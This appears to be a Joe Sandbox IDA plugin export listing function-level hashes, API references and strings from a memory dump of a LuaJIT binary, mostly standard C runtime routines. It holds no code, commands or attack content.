Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: $*
API String ID: 3215553584-3982473090
Opcode ID: aebac3cd1a26833e2af55c486e265236ad524e294da917c66b7e0629587f9230
Instruction ID: f5ac71050b3d86a691d6cb774dd0399c0cfbd9eff6f3ad2c99ece9ae65956801
Opcode Fuzzy Hash: aebac3cd1a26833e2af55c486e265236ad524e294da917c66b7e0629587f9230
Instruction Fuzzy Hash: 5D81A47391A20696EB68BF25804587CF7A1FB10B48F944C37CA4A46298DF3BF445E739

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738AE551C Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 186COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF738AE555A
_invalid_parameter_noinfo.LIBCMT ref: 00007FF738AE5789

Strings

*, xrefs: 00007FF738AE56C1
, xrefs: 00007FF738AE572B

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: $*
API String ID: 3215553584-3982473090
Opcode ID: 1b04caf276477af04b5d885976e20d85ac384d2c75b85c1de0808b5f727b4059
Instruction ID: a36084dc74851ecdfef0b8c8c77b4e9af17be66661e198fae963ff63e64d1592
Opcode Fuzzy Hash: 1b04caf276477af04b5d885976e20d85ac384d2c75b85c1de0808b5f727b4059
Instruction Fuzzy Hash: 1E81747380E246DAE764BF25A08497CF791EB01B44F980D37CA4946295CF3AF451E739

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738AFF800 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 177COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF738AFF858

Strings

", xrefs: 00007FF738AFF8C5
sinh, xrefs: 00007FF738AFF8A6

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: _set_statfp
String ID: "$sinh
API String ID: 1156100317-1232919748
Opcode ID: d4441f1067829586646d6e403ae08bbbbe116838e7bd38d72df8aa425cad948a
Instruction ID: 2eedd4aeeb6f031c1ae8a0bf443536522586b6cd3a9987cfb2bd6b8525a0e60f
Opcode Fuzzy Hash: d4441f1067829586646d6e403ae08bbbbe116838e7bd38d72df8aa425cad948a
Instruction Fuzzy Hash: 4491F233E29FC699D263AB34A4417B2F318AF5A391F508323E59E31A51DF3EA0439604

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738AE061C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF738AE0668
_CallSETranslator.LIBVCRUNTIME ref: 00007FF738AE06B7

Strings

RCC, xrefs: 00007FF738AE0685
MOC, xrefs: 00007FF738AE067C

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 36655cc38fdb37db5713a354792fa09f1dfbcf1d55a9f2e70b9818b2607edb59
Instruction ID: bdf898ec19a0b99cdaf8eb23a84a7b1c4bc7b53c13e5f4d91e6b8afc86d32bce
Opcode Fuzzy Hash: 36655cc38fdb37db5713a354792fa09f1dfbcf1d55a9f2e70b9818b2607edb59
Instruction Fuzzy Hash: 0261A933A0AB85DAE710EF65D0807ADB7A0FB44B88F444626EE4D13B98CF79E144D754

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738ADEF34 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF738ADEF5F
RtlUnwindEx.KERNEL32 ref: 00007FF738ADF043

Strings

f, xrefs: 00007FF738ADEF72
csm, xrefs: 00007FF738ADEFDA

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: Unwind__except_validate_context_record
String ID: csm$f
API String ID: 2208346422-629598281
Opcode ID: d98e7a07f294c52037bc1436f4614ab14783cba3f9a043537fabdfeef2d51ec6
Instruction ID: 6beb90e00563560a9594fabdd057d87759122efcbc92cff599e06aff502d33c5
Opcode Fuzzy Hash: d98e7a07f294c52037bc1436f4614ab14783cba3f9a043537fabdfeef2d51ec6
Instruction Fuzzy Hash: 7751B533A0A642A7DB14EB15E424F2AF755FB44B84F908030DA1E87788EF7EE945D718

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738AFF344 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 136COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF738AFF3EF

Strings

acos, xrefs: 00007FF738AFF402
!, xrefs: 00007FF738AFF424

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: _set_statfp
String ID: !$acos
API String ID: 1156100317-2870037509
Opcode ID: bf72582c257df8192f41e73549c3bb19c3b6f1f999e55f766029dc027c0b68c3
Instruction ID: d973efedbfeb8ec480fc9cd31820c0e4e0a3277d40b768547522a69349175e0c
Opcode Fuzzy Hash: bf72582c257df8192f41e73549c3bb19c3b6f1f999e55f766029dc027c0b68c3
Instruction Fuzzy Hash: 0161F723C1EF8A9AE223EF345810676E754AF96380F509333E91E31964DF3DE042A615

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738AFF0B8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 125COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF738AFF15B

Strings

asin, xrefs: 00007FF738AFF16E
!, xrefs: 00007FF738AFF190

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: _set_statfp
String ID: !$asin
API String ID: 1156100317-2188059690
Opcode ID: 9e38084c10780cd626a2090b3a56498ae94656eafe0a602bef55e7ad367d1a5b
Instruction ID: 6dcb9db1c7eb2c38a208d945e27ade1fa1c22abfc2489b024d5396aef543bcb9
Opcode Fuzzy Hash: 9e38084c10780cd626a2090b3a56498ae94656eafe0a602bef55e7ad367d1a5b
Instruction Fuzzy Hash: 8E51DA23D29F8A96E213DB349C10676E354BF96380F919337ED5E31960DF3EA0829619

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738A78C80 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 105COMMON

Download Yara Rule

Strings

path too long, xrefs: 00007FF738A78CB0
luaJIT_BC_%s, xrefs: 00007FF738A78DE0
luaopen_%s, xrefs: 00007FF738A78D7A

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: _free_nolock
String ID: luaJIT_BC_%s$luaopen_%s$path too long
API String ID: 2882679554-1241789697
Opcode ID: 5dea574ca3d95739399a95e25b92153f106047c46926396060786645f98203ee
Instruction ID: 7c33dffff9e3f266d9bfa4e42ae45ab3b10bedc4de8f3fe3258d6a2e14971857
Opcode Fuzzy Hash: 5dea574ca3d95739399a95e25b92153f106047c46926396060786645f98203ee
Instruction Fuzzy Hash: 26515133A1DB4591E620AB55E44076EE7A1FBC4BD0F900532FA8D43BA9DF3ED440AB18

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B119F0 Relevance: 6.2, APIs: 4, Instructions: 159COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF738B11A31
_invalid_parameter_noinfo.LIBCMT ref: 00007FF738B11AB1
_invalid_parameter_noinfo.LIBCMT ref: 00007FF738B11B05
_get_daylight.LIBCMT ref: 00007FF738B11B5D

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: _invalid_parameter_noinfo$_get_daylight
String ID:
API String ID: 72036449-0
Opcode ID: adda994bb8bdfca9ec35d26023c30ea6024999a432b5678b7d18df69566630e3
Instruction ID: 9479bb229d7b9ae2e3ccb61f6e3ae6275930d112e0bcf46ce911c81ef105a1b5
Opcode Fuzzy Hash: adda994bb8bdfca9ec35d26023c30ea6024999a432b5678b7d18df69566630e3
Instruction Fuzzy Hash: EF51F123F1CA1362F7686928840137EE982DB00714F996035CA1D8E2D5EE3FE940B66B

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738A419C0 Relevance: 6.1, APIs: 4, Instructions: 64COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF738A419FF
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF738A41A2F
RtlRestoreContext.KERNEL32 ref: 00007FF738A41A9F
RtlVirtualUnwind.KERNEL32 ref: 00007FF738A41AE2

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: Context$CaptureEntryFunctionLookupRestoreUnwindVirtual
String ID:
API String ID: 3461063567-0
Opcode ID: b1f1ff61777923e7652156cc2d336024070dc023beb6a1960c7b554b607fa398
Instruction ID: 73853a914469b2ac945d9baf55c89a44e3aab90671b41f8b4ad17e251a3bf150
Opcode Fuzzy Hash: b1f1ff61777923e7652156cc2d336024070dc023beb6a1960c7b554b607fa398
Instruction Fuzzy Hash: AC310636919BC595EA609B11E4547AAF3A1F7C9780F900036D68D43B68DF7ED058DB04

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B108C0 Relevance: 6.1, APIs: 4, Instructions: 53synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32 ref: 00007FF738B108F0
GetExitCodeProcess.KERNEL32 ref: 00007FF738B10902
GetLastError.KERNEL32 ref: 00007FF738B1091C
CloseHandle.KERNEL32 ref: 00007FF738B10950

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: CloseCodeErrorExitHandleLastObjectProcessSingleWait
String ID:
API String ID: 2321548817-0
Opcode ID: 82bfb5b300ae42bcdd7f9df15edbfe6164371cee34962632e7edd6329cc57e45
Instruction ID: edbbd3b6524eb6167052c9ce62c2a54b77d80ddeade5a6f238bb4d042901ec98
Opcode Fuzzy Hash: 82bfb5b300ae42bcdd7f9df15edbfe6164371cee34962632e7edd6329cc57e45
Instruction Fuzzy Hash: 9211A823A0928392FA507F2AD41027DE291AF45FF0F944230D92D4B6D4DF3DF442A72A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738AE4C2C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 153COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF738AE4E36

Part of subcall function 00007FF738AEB02C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF738AEB0B6

_invalid_parameter_noinfo.LIBCMT ref: 00007FF738AE4C71

Strings

, xrefs: 00007FF738AE4DC1

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-3916222277
Opcode ID: f63cfcab38654406720fb298faccf2206334f1ee504fa2844d0f42e958091265
Instruction ID: 879129e1f5d155a8a003e5bbdecbade028672895b9baf67089e22540880ab42d
Opcode Fuzzy Hash: f63cfcab38654406720fb298faccf2206334f1ee504fa2844d0f42e958091265
Instruction Fuzzy Hash: 2E61A97390F91296E768AF24C08477CF7A9EB01B08F941577C64A42195CF3AF681E729

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738AE5308 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 151COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF738AE5343
_invalid_parameter_noinfo.LIBCMT ref: 00007FF738AE5512

Strings

, xrefs: 00007FF738AE548F

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-3916222277
Opcode ID: 0644313d939e58621442b79405c350c91277a9df8c69c39d18cf3d825145f917
Instruction ID: 67c956dc313070c9bf3d94ed88f9c7d00345f189aeb6980dcf78ae0d02dd753d
Opcode Fuzzy Hash: 0644313d939e58621442b79405c350c91277a9df8c69c39d18cf3d825145f917
Instruction Fuzzy Hash: C961C97391F61296E764AF28E05447CF7A6FB05B09F941537D60A02A94CF3EF441EB28

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738AE50F4 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 149COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF738AE5121
_invalid_parameter_noinfo.LIBCMT ref: 00007FF738AE5154

Strings

, xrefs: 00007FF738AE52A2

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-3916222277
Opcode ID: c220197af0a98cbd73017d0ba252ed5d07ee06621c5253f39b4124477447de71
Instruction ID: fb4f9348224896e507c3ebbe22a88d9da312a07cce9d951c7d1ecdbbcb2d2009
Opcode Fuzzy Hash: c220197af0a98cbd73017d0ba252ed5d07ee06621c5253f39b4124477447de71
Instruction Fuzzy Hash: 20619A7390A202A6EB64BF28E044B7CF7A5EB15B48F941537C60A461D5CF3EF441EB29

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738AE57B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 145COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF738AE57E6
_invalid_parameter_noinfo.LIBCMT ref: 00007FF738AE59AE

Strings

, xrefs: 00007FF738AE5936

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-3916222277
Opcode ID: b2dd0ee893780d50b4674af438db78039d6ef4c60853aa3ea8af484d06fe7f99
Instruction ID: 0b096650e6259102d6c190ca1b466d150725cfad95fffd5d706de7c290dc9a58
Opcode Fuzzy Hash: b2dd0ee893780d50b4674af438db78039d6ef4c60853aa3ea8af484d06fe7f99
Instruction Fuzzy Hash: EB51D93390A60296E764AF24E0447BCF7A0FB05B18F941937C61A42295CF7AF485F729

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B0B120 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 134COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF738B0B163

Strings

gfff, xrefs: 00007FF738B0B285
e+000, xrefs: 00007FF738B0B208

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: e+000$gfff
API String ID: 3215553584-3030954782
Opcode ID: 8e8504798e3096c9a346657a07f11e9947318bd45ce01f9eb4292907c059508d
Instruction ID: 5546bdf4d42cf1aaf481a6c8e5f2deb4c51dd1eb00fa810bc668c9fd5a0c8731
Opcode Fuzzy Hash: 8e8504798e3096c9a346657a07f11e9947318bd45ce01f9eb4292907c059508d
Instruction Fuzzy Hash: EE5137A3B186C656E7249F25984076DEB91EB80B94F888231C7A847BD5CF3EE044D716

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B00BD0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 133COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FF738B00E5B

Strings

!, xrefs: 00007FF738B00E4B
fmod, xrefs: 00007FF738B00E2C

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: _handle_error
String ID: !$fmod
API String ID: 1757819995-3213614193
Opcode ID: f0718bf514110123fd14397416006eaade00b89320632af20748014d40c22490
Instruction ID: 2cc7d87770c839878763ab735def0352bdae01b8be61180d0cda9dcc8185733f
Opcode Fuzzy Hash: f0718bf514110123fd14397416006eaade00b89320632af20748014d40c22490
Instruction Fuzzy Hash: 4851EB53D2DBCB99E16367319011BB5EA98AF623C0F809332ED5D355A1DF3E6003621A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738AB8050 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 109COMMON

Download Yara Rule

APIs

std::rsfun.LIBCPMTD ref: 00007FF738AB80D0

Strings

$, xrefs: 00007FF738AB808F
type parameter, xrefs: 00007FF738AB81BF

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
